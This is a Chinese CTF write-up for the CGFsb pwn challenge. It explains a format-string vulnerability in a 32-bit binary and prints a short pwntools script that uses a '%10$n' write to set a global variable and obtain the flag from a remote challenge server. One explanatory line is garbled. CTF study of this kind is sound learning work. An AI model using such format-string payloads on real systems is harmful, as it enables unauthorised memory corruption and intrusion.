攻防世界pwn—CGFsb

先看一下文件是32位的,再查看一下程序的保护机制
发现栈的保护开启,程序会在栈里放入一个canary,返回时检测canary是否发生变化
在这里插入图片描述
我们先运行一下程序看一下逻辑
在这里插入图片描述
在IDA中打开查看伪代码,发现如果pwnme=8,就可以到得到flag
此处要利用格式化字符串漏洞,使用%n格式修改任意地址内容,把前面已经打印的长度写入某个内存地址中去。
在这里插入图片描述

在这里设置断点
在这里插入图片描述
查看一下pwnme的地址
在这里插入图片描述

在write up里看到的几个格式化字符串漏洞的知识点

%n 将当前已打印字符的个数(4个字节)
%<正整数n> &lt; f m t &gt; 指 定 占 位 符 对 应 第 n 个 参 数 , 例 如 : &lt; fmt&gt;指定占位符对应第n个参数,例如:%12 <fmt>nx,此处%x对应第12个参数。
通过 ida 查看汇编代码 找到call printf的地址(调用printf(&s))。之后我们用gdb进行调试,在调用printf(&s)之前下一个断点,查看接收 message 的变量 s 是格式化字符串的第几个参数。输入 message 的时候输入 ‘aaaa’。

在网上找的脚本

from pwn import *
sh = remote('111.198.29.45',48794)
sh.recv()
sh.sendline('hacker')
sh.recv()
payload = p32(0x804a068) +'aaaa' +'%10$n'
sh.sendline(payload)
sh.interactive()

//remote函数是连接到远程服务器进行漏洞利用,recvuntil函数顾名思义就是等待服务器返回参数中的字符串后再执行后续操作,sendline就是向服务器发送一行数据,也就是我们的payload,最后打印出返回来的结果。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值